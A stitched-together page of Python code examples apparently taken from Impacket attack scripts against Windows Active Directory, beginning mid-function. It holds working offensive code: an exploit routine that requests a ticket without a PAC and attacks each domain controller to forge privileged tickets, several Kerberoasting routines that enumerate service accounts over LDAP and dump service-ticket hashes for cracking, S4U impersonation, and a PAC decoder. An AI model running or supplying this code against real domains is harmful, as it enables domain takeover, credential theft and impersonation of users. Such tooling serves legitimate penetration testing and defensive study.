        authenticator['crealm'] = str(decodedTGT['crealm'])

        clientName = Principal()
        clientName.from_asn1( decodedTGT, 'crealm', 'cname')

        seq_set(authenticator, 'cname', clientName.components_to_asn1)

        now = datetime.datetime.utcnow() 
        authenticator['cusec'] =  now.microsecond
        authenticator['ctime'] = KerberosTime.to_asn1(now)

        encodedAuthenticator = encoder.encode(authenticator)

        # Key Usage 7
        # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
        # TGS authenticator subkey), encrypted with the TGS session
        # key (Section 5.5.1)
        encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)

        apReq['authenticator'] = None
        apReq['authenticator']['etype'] = cipher.enctype
        apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator

        encodedApReq = encoder.encode(apReq)

        tgsReq['pvno'] =  5
        tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
        tgsReq['padata'] = None
        tgsReq['padata'][0] = None
        tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
        tgsReq['padata'][0]['padata-value'] = encodedApReq

        pacRequest = KERB_PA_PAC_REQUEST()
        pacRequest['include-pac'] = False
        encodedPacRequest = encoder.encode(pacRequest)

        tgsReq['padata'][1] = None
        tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value)
        tgsReq['padata'][1]['padata-value'] = encodedPacRequest

        message = encoder.encode(tgsReq)

        r = sendReceive(message, domain, kdcHost)

        # Get the session key
        tgs = decoder.decode(r, asn1Spec = TGS_REP())[0]
        cipherText = tgs['enc-part']['cipher']

        # Key Usage 8
        # TGS-REP encrypted part (includes application session
        # key), encrypted with the TGS session key (Section 5.4.2)
        plainText = cipher.decrypt(sessionKey, 8, str(cipherText))

        encTGSRepPart = decoder.decode(plainText, asn1Spec = EncTGSRepPart())[0]

        newSessionKey = Key(cipher.enctype, str(encTGSRepPart['key']['keyvalue']))
    
        return r, cipher, sessionKey, newSessionKey

    def getForestSid(self):
        logging.debug('Calling NRPC DsrGetDcNameEx()')

        stringBinding = r'ncacn_np:%s[\pipe\netlogon]' % self.__kdcHost

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_NRPC)

        resp = hDsrGetDcNameEx(dce, NULL, NULL, NULL, NULL, 0)
        forestName = resp['DomainControllerInfo']['DnsForestName'][:-1]
        logging.debug('DNS Forest name is %s' % forestName)
        dce.disconnect()

        logging.debug('Calling LSAT hLsarQueryInformationPolicy2()')

        stringBinding = r'ncacn_np:%s[\pipe\lsarpc]' % forestName

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(MSRPC_UUID_LSAT)

        resp = hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | POLICY_LOOKUP_NAMES)
        policyHandle = resp['PolicyHandle']

        resp = hLsarQueryInformationPolicy2(dce, policyHandle, POLICY_INFORMATION_CLASS.PolicyAccountDomainInformation)
        dce.disconnect()

        forestSid = resp['PolicyInformation']['PolicyAccountDomainInfo']['DomainSid'].formatCanonical()
        logging.info("Forest SID: %s"% forestSid)

        return forestSid

    def getDomainControllers(self):
        logging.debug('Calling DRSDomainControllerInfo()')

        stringBinding = epm.hept_map(self.__domain, MSRPC_UUID_DRSUAPI, protocol = 'ncacn_ip_tcp')

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY)
        dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
        dce.connect()
        dce.bind(MSRPC_UUID_DRSUAPI)

        request = DRSBind()
        request['puuidClientDsa'] = NTDSAPI_CLIENT_GUID
        drs = DRS_EXTENSIONS_INT()
        drs['cb'] = len(drs) #- 4
        drs['dwFlags'] = DRS_EXT_GETCHGREQ_V6 | DRS_EXT_GETCHGREPLY_V6 | DRS_EXT_GETCHGREQ_V8 | DRS_EXT_STRONG_ENCRYPTION
        drs['SiteObjGuid'] = NULLGUID
        drs['Pid'] = 0
        drs['dwReplEpoch'] = 0
        drs['dwFlagsExt'] = 0
        drs['ConfigObjGUID'] = NULLGUID
        drs['dwExtCaps'] = 127
        request['pextClient']['cb'] = len(drs)
        request['pextClient']['rgb'] = list(str(drs))
        resp = dce.request(request)

        dcs = hDRSDomainControllerInfo(dce,  resp['phDrs'], self.__domain, 1)

        dce.disconnect()
        domainControllers = list()
        for dc in dcs['pmsgOut']['V1']['rItems']:
            logging.debug('Found domain controller %s' % dc['DnsHostName'][:-1])
            domainControllers.append(dc['DnsHostName'][:-1])

        return domainControllers

    def getUserSID(self):
        stringBinding = r'ncacn_np:%s[\pipe\samr]' % self.__kdcHost

        rpctransport = transport.DCERPCTransportFactory(stringBinding)

        if hasattr(rpctransport, 'set_credentials'):
            rpctransport.set_credentials(self.__username,self.__password, self.__domain, self.__lmhash, self.__nthash)

        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(samr.MSRPC_UUID_SAMR)
        resp = samr.hSamrConnect(dce)
        serverHandle = resp['ServerHandle']
        resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, self.__domain)
        domainId = resp['DomainId']
        resp = samr.hSamrOpenDomain(dce, serverHandle, domainId = domainId)
        domainHandle = resp['DomainHandle']
        resp = samr.hSamrLookupNamesInDomain(dce, domainHandle, (self.__username,))
        # Let's pick the relative ID
        rid = resp['RelativeIds']['Element'][0]['Data']
        logging.info("User SID: %s-%s"% (domainId.formatCanonical(), rid))
        return domainId, rid

    def exploit(self):
        if self.__kdcHost is None:
            getDCs = True
            self.__kdcHost = self.__domain
        else:
            getDCs = False

        self.__domainSid, self.__rid = self.getUserSID()
        try:
            self.__forestSid = self.getForestSid()
        except Exception, e:
            # For some reason we couldn't get the forest data. No problem, we can still continue
            # Only drawback is we won't get forest admin if successful
            logging.error('Couldn\'t get forest info (%s), continuing' % str(e))
            self.__forestSid = None

        if getDCs is False:
            # User specified a DC already, no need to get the list
            self.__domainControllers.append(self.__kdcHost)
        else:
            self.__domainControllers = self.getDomainControllers()

        userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
        for dc in self.__domainControllers:
            logging.info('Attacking domain controller %s' % dc)
            self.__kdcHost = dc
            exception = None
            while True:
                try:
                    tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
                                                                            self.__lmhash, self.__nthash, None,
                                                                            self.__kdcHost, requestPAC=False)
                except KerberosError, e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                            continue
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break

                # So, we have the TGT, now extract the new session key and finish
                asRep = decoder.decode(tgt, asn1Spec = AS_REP())[0]

                # If the cypher in use != RC4 there's gotta be a salt for us to use
                salt = ''
                if asRep['padata']:
                    for pa in asRep['padata']:
                        if pa['padata-type'] == constants.PreAuthenticationDataTypes.PA_ETYPE_INFO2.value:
                            etype2 = decoder.decode(str(pa['padata-value'])[2:], asn1Spec = ETYPE_INFO2_ENTRY())[0]
                            salt = str(etype2['salt'])

                cipherText = asRep['enc-part']['cipher']

                # Key Usage 3
                # AS-REP encrypted part (includes TGS session key or
                # application session key), encrypted with the client key
                # (Section 5.4.2)
                if self.__nthash != '':
                    key = Key(cipher.enctype,self.__nthash)
                else:
                    key = cipher.string_to_key(self.__password, salt, None)

                plainText = cipher.decrypt(key, 3, str(cipherText))
                encASRepPart = decoder.decode(plainText, asn1Spec = EncASRepPart())[0]
                authTime = encASRepPart['authtime']

                serverName = Principal('krbtgt/%s' % self.__domain.upper(),
                                       type=constants.PrincipalNameType.NT_PRINCIPAL.value)
                tgs, cipher, oldSessionKey, sessionKey = self.getKerberosTGS(serverName, domain, self.__kdcHost, tgt,
                                                                             cipher, sessionKey, authTime)

                # We've done what we wanted, now let's call the regular getKerberosTGS to get a new ticket for cifs
                serverName = Principal('cifs/%s' % self.__target, type=constants.PrincipalNameType.NT_SRV_INST.value)
                try:
                    tgsCIFS, cipher, oldSessionKeyCIFS, sessionKeyCIFS = getKerberosTGS(serverName, domain,
                                                                                        self.__kdcHost, tgs, cipher,
                                                                                        sessionKey)
                except KerberosError, e:
                    if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                        # We might face this if the target does not support AES (most probably
                        # Windows XP). So, if that's the case we'll force using RC4 by converting
                        # the password to lm/nt hashes and hope for the best. If that's already
                        # done, byebye.
                        if self.__lmhash is '' and self.__nthash is '':
                            from impacket.ntlm import compute_lmhash, compute_nthash
                            self.__lmhash = compute_lmhash(self.__password)
                            self.__nthash = compute_nthash(self.__password)
                        else:
                            exception = str(e)
                            break
                    else:
                        exception = str(e)
                        break
                else:
                    # Everything went well, let's save the ticket if asked and leave
                    if self.__writeTGT is not None:
                        from impacket.krb5.ccache import CCache
                        ccache = CCache()
                        ccache.fromTGS(tgs, oldSessionKey, sessionKey)
                        ccache.saveFile(self.__writeTGT)
                    break
Example #6
0
    def run(self):
        if self.__doKerberos:
            self.__target = self.getMachineName()
        else:
            if self.__kdcHost is not None:
                self.__target = self.__kdcHost
            else:
                self.__target = self.__domain

        # Connect to LDAP
        ldapConnection = ldap.LDAPConnection('ldap://%s'%self.__target, self.baseDN, self.__kdcHost)
        if self.__doKerberos is not True:
            ldapConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
        else:
            ldapConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                                         self.__aesKey, kdcHost=self.__kdcHost)

        # Building the following filter:
        # (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))

        # (servicePrincipalName=*)
        and0 = ldapasn1.Filter()
        and0['present'] = ldapasn1.Present('servicePrincipalName')

        # (UserAccountControl:1.2.840.113556.1.4.803:=512)
        and1 = ldapasn1.Filter()
        and1['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
        and1['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
        and1['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl')
        and1['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_NORMAL_ACCOUNT)
        and1['extensibleMatch']['dnAttributes'] = False

        # !(UserAccountControl:1.2.840.113556.1.4.803:=2)
        and2 = ldapasn1.Not()
        and2['notFilter'] = ldapasn1.Filter()
        and2['notFilter']['extensibleMatch'] = ldapasn1.MatchingRuleAssertion()
        and2['notFilter']['extensibleMatch']['matchingRule'] = ldapasn1.MatchingRuleId('1.2.840.113556.1.4.803')
        and2['notFilter']['extensibleMatch']['type'] = ldapasn1.TypeDescription('UserAccountControl')
        and2['notFilter']['extensibleMatch']['matchValue'] = ldapasn1.matchValueAssertion(UF_ACCOUNTDISABLE)
        and2['notFilter']['extensibleMatch']['dnAttributes'] = False

        searchFilter = ldapasn1.Filter()
        searchFilter['and'] = ldapasn1.And()
        searchFilter['and'][0] = and0
        searchFilter['and'][1] = and1
        # searchFilter['and'][2] = and2
        # Exception here, setting verifyConstraints to False so pyasn1 doesn't warn about incompatible tags
        searchFilter['and'].setComponentByPosition(2,and2,  verifyConstraints=False)

        resp = ldapConnection.search(searchFilter=searchFilter,
                                     attributes=['servicePrincipalName', 'sAMAccountName',
                                                 'pwdLastSet', 'MemberOf', 'userAccountControl'],
                                     sizeLimit=9999)
        answers = []
        logging.debug('Total of records returned %d' % len(resp))
        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName =  ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            for attribute in item['attributes']:
                if attribute['type'] == 'sAMAccountName':
                    if str(attribute['vals'][0]).endswith('$') is False:
                        # User Account
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                elif attribute['type'] == 'userAccountControl':
                    userAccountControl = str(attribute['vals'][0])
                elif attribute['type'] == 'memberOf':
                    memberOf = str(attribute['vals'][0])
                elif attribute['type'] == 'pwdLastSet':
                    pwdLastSet = str(datetime.fromtimestamp(self.getUnixTime(int(str(attribute['vals'][0])))))
                elif attribute['type'] == 'servicePrincipalName':
                    for spn in attribute['vals']:
                        SPNs.append(str(spn))

            if mustCommit is True:
                if int(userAccountControl) & UF_ACCOUNTDISABLE:
                    logging.debug('Bypassing disabled account %s ' % sAMAccountName)
                else:
                    for spn in SPNs:
                        answers.append([spn, sAMAccountName,memberOf, pwdLastSet])

        if len(answers)>0:
            self.printTable(answers, header=[ "ServicePrincipalName", "Name", "MemberOf", "PasswordLastSet"])
            print '\n\n'

            if self.__requestTGS is True:
                # Let's get unique user names an a SPN to request a TGS for
                users = dict( (vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.iteritems():
                    try:
                        serverName = Principal(SPN, type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, self.__domain,
                                                                                self.__kdcHost,
                                                                                TGT['KDC_REP'], TGT['cipher'],
                                                                                TGT['sessionKey'])
                        self.outputTGS(tgs, oldSessionKey, sessionKey, user, fd)
                    except Exception , e:
                        logging.error(str(e))
                if fd is not None:
                    fd.close()
Example #7
0
    def run(self):
        tgt = None

        # Do we have a TGT cached?
        domain, _, TGT, _ = CCache.parseFile(self.__domain)

        # ToDo: Check this TGT belogns to the right principal
        if TGT is not None:
            tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[
                'sessionKey']
            oldSessionKey = sessionKey

        if tgt is None:
            # Still no TGT
            userName = Principal(
                self.__user,
                type=constants.PrincipalNameType.NT_PRINCIPAL.value)
            logging.info('Getting TGT for user')
            tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
                userName, self.__password, self.__domain,
                unhexlify(self.__lmhash), unhexlify(self.__nthash),
                self.__aesKey, self.__kdcHost)

        # Ok, we have valid TGT, let's try to get a service ticket
        if self.__options.impersonate is None:
            # Normal TGS interaction
            logging.info('Getting ST for user')
            serverName = Principal(
                self.__options.spn,
                type=constants.PrincipalNameType.NT_SRV_INST.value)
            tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                serverName, domain, self.__kdcHost, tgt, cipher, sessionKey)
            self.__saveFileName = self.__user
        else:
            # Here's the rock'n'roll
            try:
                logging.info('Impersonating %s' % self.__options.impersonate)
                # Editing below to pass hashes for decryption
                if self.__additional_ticket is not None:
                    tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(
                        tgt, cipher, oldSessionKey, sessionKey,
                        unhexlify(self.__nthash), self.__aesKey,
                        self.__kdcHost, self.__additional_ticket)
                else:
                    tgs, cipher, oldSessionKey, sessionKey = self.doS4U(
                        tgt, cipher, oldSessionKey, sessionKey,
                        unhexlify(self.__nthash), self.__aesKey,
                        self.__kdcHost)
            except Exception as e:
                logging.debug("Exception", exc_info=True)
                logging.error(str(e))
                if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
                    logging.error(
                        'Probably user %s does not have constrained delegation permisions or impersonated user does not exist'
                        % self.__user)
                if str(e).find('KDC_ERR_BADOPTION') >= 0:
                    logging.error(
                        'Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable'
                        % self.__user)

                return
            self.__saveFileName = self.__options.impersonate

        self.saveTicket(tgs, oldSessionKey)
Example #8
0
    def run(self):
        if self.__usersFile:
            self.request_users_file_TGSs()
            return

        if self.__doKerberos:
            target = self.getMachineName()
        else:
            if self.__kdcHost is not None and self.__targetDomain == self.__domain:
                target = self.__kdcHost
            else:
                target = self.__targetDomain

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s' % target,
                                                 self.baseDN, self.__kdcHost)
            if self.__doKerberos is not True:
                ldapConnection.login(self.__username, self.__password,
                                     self.__domain, self.__lmhash,
                                     self.__nthash)
            else:
                ldapConnection.kerberosLogin(self.__username,
                                             self.__password,
                                             self.__domain,
                                             self.__lmhash,
                                             self.__nthash,
                                             self.__aesKey,
                                             kdcHost=self.__kdcHost)
        except ldap.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % target,
                                                     self.baseDN,
                                                     self.__kdcHost)
                if self.__doKerberos is not True:
                    ldapConnection.login(self.__username, self.__password,
                                         self.__domain, self.__lmhash,
                                         self.__nthash)
                else:
                    ldapConnection.kerberosLogin(self.__username,
                                                 self.__password,
                                                 self.__domain,
                                                 self.__lmhash,
                                                 self.__nthash,
                                                 self.__aesKey,
                                                 kdcHost=self.__kdcHost)
            else:
                raise

        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))"

        if self.__requestUser is not None:
            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
        else:
            searchFilter += ')'

        try:
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=[
                                             'servicePrincipalName',
                                             'sAMAccountName', 'pwdLastSet',
                                             'MemberOf', 'userAccountControl',
                                             'lastLogon'
                                         ],
                                         sizeLimit=100000)
        except ldap.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            else:
                raise

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            delegation = ''
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
                            delegation = 'unconstrained'
                        elif int(userAccountControl
                                 ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
                            delegation = 'constrained'
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        logging.debug('Bypassing disabled account %s ' %
                                      sAMAccountName)
                    else:
                        for spn in SPNs:
                            answers.append([
                                spn, sAMAccountName, memberOf, pwdLastSet,
                                lastLogon, delegation
                            ])
            except Exception as e:
                logging.error('Skipping item, cannot process due to error %s' %
                              str(e))
                pass

        if len(answers) > 0:
            self.printTable(answers,
                            header=[
                                "ServicePrincipalName", "Name", "MemberOf",
                                "PasswordLastSet", "LastLogon", "Delegation"
                            ])
            print('\n\n')

            if self.__requestTGS is True or self.__requestUser is not None:
                # Let's get unique user names and a SPN to request a TGS for
                users = dict((vals[1], vals[0]) for vals in answers)

                # Get a TGT for the current user
                TGT = self.getTGT()

                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None

                for user, SPN in users.items():
                    sAMAccountName = user
                    downLevelLogonName = self.__targetDomain + "\\" + sAMAccountName

                    try:
                        principalName = Principal()
                        principalName.type = constants.PrincipalNameType.NT_MS_PRINCIPAL.value
                        principalName.components = [downLevelLogonName]

                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                            principalName, self.__domain, self.__kdcHost,
                            TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
                        self.outputTGS(
                            tgs, oldSessionKey, sessionKey, sAMAccountName,
                            self.__targetDomain + "/" + sAMAccountName, fd)
                    except Exception as e:
                        logging.debug("Exception:", exc_info=True)
                        logging.error('Principal: %s - %s' %
                                      (downLevelLogonName, str(e)))

                if fd is not None:
                    fd.close()

        else:
            print("No entries found!")
Example #9
0
    def run(self):
        if self.__doKerberos:
            target = self.getMachineName()
        else:
            if self.__kdcHost is not None:
                target = self.__kdcHost
            else:
                target = self.__domain

        # Connect to LDAP
        try:
            ldapConnection = ldap.LDAPConnection('ldap://%s' % target,
                                                 self.baseDN, self.__kdcHost)
            if self.__doKerberos is not True:
                ldapConnection.login(self.__username, self.__password,
                                     self.__domain, self.__lmhash,
                                     self.__nthash)
            else:
                ldapConnection.kerberosLogin(self.__username,
                                             self.__password,
                                             self.__domain,
                                             self.__lmhash,
                                             self.__nthash,
                                             self.__aesKey,
                                             kdcHost=self.__kdcHost)
        except ldap.LDAPSessionError as e:
            if str(e).find('strongerAuthRequired') >= 0:
                # We need to try SSL
                ldapConnection = ldap.LDAPConnection('ldaps://%s' % target,
                                                     self.baseDN,
                                                     self.__kdcHost)
                if self.__doKerberos is not True:
                    ldapConnection.login(self.__username, self.__password,
                                         self.__domain, self.__lmhash,
                                         self.__nthash)
                else:
                    ldapConnection.kerberosLogin(self.__username,
                                                 self.__password,
                                                 self.__domain,
                                                 self.__lmhash,
                                                 self.__nthash,
                                                 self.__aesKey,
                                                 kdcHost=self.__kdcHost)
            else:
                raise

        # Building the search filter
        searchFilter = "(&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)" \
                       "(!(UserAccountControl:1.2.840.113556.1.4.803:=2))(!(objectCategory=computer))"

        if self.__requestUser is not None:
            searchFilter += '(sAMAccountName:=%s))' % self.__requestUser
        else:
            searchFilter += ')'

        try:
            resp = ldapConnection.search(searchFilter=searchFilter,
                                         attributes=[
                                             'servicePrincipalName',
                                             'sAMAccountName', 'pwdLastSet',
                                             'MemberOf', 'userAccountControl',
                                             'lastLogon'
                                         ],
                                         sizeLimit=999)
        except ldap.LDAPSearchError as e:
            if e.getErrorString().find('sizeLimitExceeded') >= 0:
                logging.debug(
                    'sizeLimitExceeded exception caught, giving up and processing the data received'
                )
                # We reached the sizeLimit, process the answers we have already and that's it. Until we implement
                # paged queries
                resp = e.getAnswers()
                pass
            elif type(e) == impacket.ldap.ldap.LDAPSearchError:
                raise
            else:
                raise

        answers = []
        logging.debug('Total of records returned %d' % len(resp))

        for item in resp:
            if isinstance(item, ldapasn1.SearchResultEntry) is not True:
                continue
            mustCommit = False
            sAMAccountName = ''
            memberOf = ''
            SPNs = []
            pwdLastSet = ''
            userAccountControl = 0
            lastLogon = 'N/A'
            try:
                for attribute in item['attributes']:
                    if str(attribute['type']) == 'sAMAccountName':
                        sAMAccountName = str(attribute['vals'][0])
                        mustCommit = True
                    elif str(attribute['type']) == 'userAccountControl':
                        userAccountControl = str(attribute['vals'][0])
                        if int(userAccountControl) & UF_TRUSTED_FOR_DELEGATION:
                            delegation = 'unconstrained'
                        elif int(userAccountControl
                                 ) & UF_TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION:
                            delegation = 'constrained'
                    elif str(attribute['type']) == 'memberOf':
                        memberOf = str(attribute['vals'][0])
                    elif str(attribute['type']) == 'pwdLastSet':
                        if str(attribute['vals'][0]) == '0':
                            pwdLastSet = '<never>'
                        else:
                            pwdLastSet = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'lastLogon':
                        if str(attribute['vals'][0]) == '0':
                            lastLogon = '<never>'
                        else:
                            lastLogon = str(
                                datetime.fromtimestamp(
                                    self.getUnixTime(
                                        int(str(attribute['vals'][0])))))
                    elif str(attribute['type']) == 'servicePrincipalName':
                        for spn in attribute['vals']:
                            SPNs.append(str(spn))

                if mustCommit is True:
                    if int(userAccountControl) & UF_ACCOUNTDISABLE:
                        logging.debug('Bypassing disabled account %s ' %
                                      sAMAccountName)
                    else:
                        for spn in SPNs:
                            answers.append([
                                spn, sAMAccountName, memberOf, pwdLastSet,
                                lastLogon
                            ])
            except Exception as e:
                pass

        if len(answers) > 0:
            for user in answers:
                spn = user[0]
                username = user[1]
                domain = ".".join([
                    item.split('=', 1)[1] for item in user[2].split(',')
                    if item.split('=', 1)[0] == 'DC'
                ]).lower()

            if self.__requestTGS is True or self.__requestUser is not None:
                # Let's get unique user names and a SPN to request a TGS for
                users = {}
                for user in answers:
                    domain = ".".join([
                        item.split('=', 1)[1] for item in user[2].split(',')
                        if item.split('=', 1)[0] == 'DC'
                    ]).lower()
                    users["%s\\%s" % (domain, user[1])] = user[0]

                # Get a TGT for the current user
                try:
                    TGT = self.getTGT()
                except KerberosError:
                    logging.error(
                        '%s Error getting TGS: synchronise your computer clock with the DC'
                        % ("smb://%s" % self.__kdcHost).ljust(30))
                    return
                if self.__outputFileName is not None:
                    fd = open(self.__outputFileName, 'w+')
                else:
                    fd = None
                for user, SPN in users.items():
                    domain = user.split('\\', 1)[0]
                    username = user.split('\\', 1)[1]
                    try:
                        serverName = Principal(
                            SPN,
                            type=constants.PrincipalNameType.NT_SRV_INST.value)
                        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
                            serverName, self.__domain, self.__kdcHost,
                            TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
                        tgs = self.outputTGS(tgs, oldSessionKey, sessionKey,
                                             username, domain, SPN, fd)

                        yield {
                            'domain': domain,
                            'username': username,
                            'spn': SPN,
                            'tgs': tgs,
                        }
                    except Exception as e:
                        traceback.print_exc()
                if fd is not None:
                    fd.close()
Example #10
0
    def run(self):

        # Do we have a TGT cached?
        tgt = None
        try:
            ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            logging.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
            if options.target_domain:
                if options.via_domain:
                    principal = 'krbtgt/%s@%s' % (options.target_domain.upper(
                    ), options.via_domain.upper())
                else:
                    principal = 'krbtgt/%s@%s' % (
                        options.target_domain.upper(), self.__domain.upper())
            else:
                principal = 'krbtgt/%s@%s' % (self.__domain.upper(),
                                              self.__domain.upper())
            # For just decoding a TGS, override principal
            # principal = 'cifs/[email protected]'
            creds = ccache.getCredential(principal, False)
            creds.dump()
            if creds is not None:
                # For just decoding a TGS, use toTGS()
                TGT = creds.toTGT()
                tgt, cipher, sessionKey = TGT['KDC_REP'], TGT['cipher'], TGT[
                    'sessionKey']
                oldSessionKey = sessionKey
                logging.info('Using TGT from cache')
            else:
                logging.error("No valid credentials found in cache. ")
                return
        except:
            # No cache present
            logging.error("Cache file not valid or not found")
            return

        print
        # Print TGT
        # For just decoding a TGS, use TGS_REP()
        decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]

        # Extract the ticket from the TGT
        ticket = Ticket()
        ticket.from_asn1(decodedTGT['ticket'])

        cipherText = decodedTGT['ticket']['enc-part']['cipher']
        newCipher = _enctype_table[int(
            decodedTGT['ticket']['enc-part']['etype'])]

        # hash / AES key for the TGT / TGS goes here
        self.__nthash = 'yourhashhere'
        if self.__nthash != '':
            key = Key(newCipher.enctype, self.__nthash.decode('hex'))

        try:
            # If is was plain U2U, this is the key
            plainText = newCipher.decrypt(key, 2, str(cipherText))
        except:
            # S4USelf + U2U uses this other key
            plainText = cipher.decrypt(sessionKey, 2, str(cipherText))

        # Print PAC in human friendly form
        self.printPac(plainText, True)

        # Get TGS and print it
        logging.info('Getting ST for user')
        serverName = Principal(
            self.__options.spn,
            type=constants.PrincipalNameType.NT_SRV_INST.value)
        if options.target_domain:
            domain = options.target_domain
        else:
            domain = self.__domain
        print domain
        tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(
            serverName,
            domain,
            self.__kdcHost,
            tgt,
            cipher,
            sessionKey,
            clientrealm=self.__domain)
        self.__saveFileName = self.__user

        decodedTGS = decoder.decode(tgs, asn1Spec=TGS_REP())[0]

        if logging.getLogger().level == logging.DEBUG:
            logging.debug('TGS_REP')
            print decodedTGS.prettyPrint()

        # Get PAC

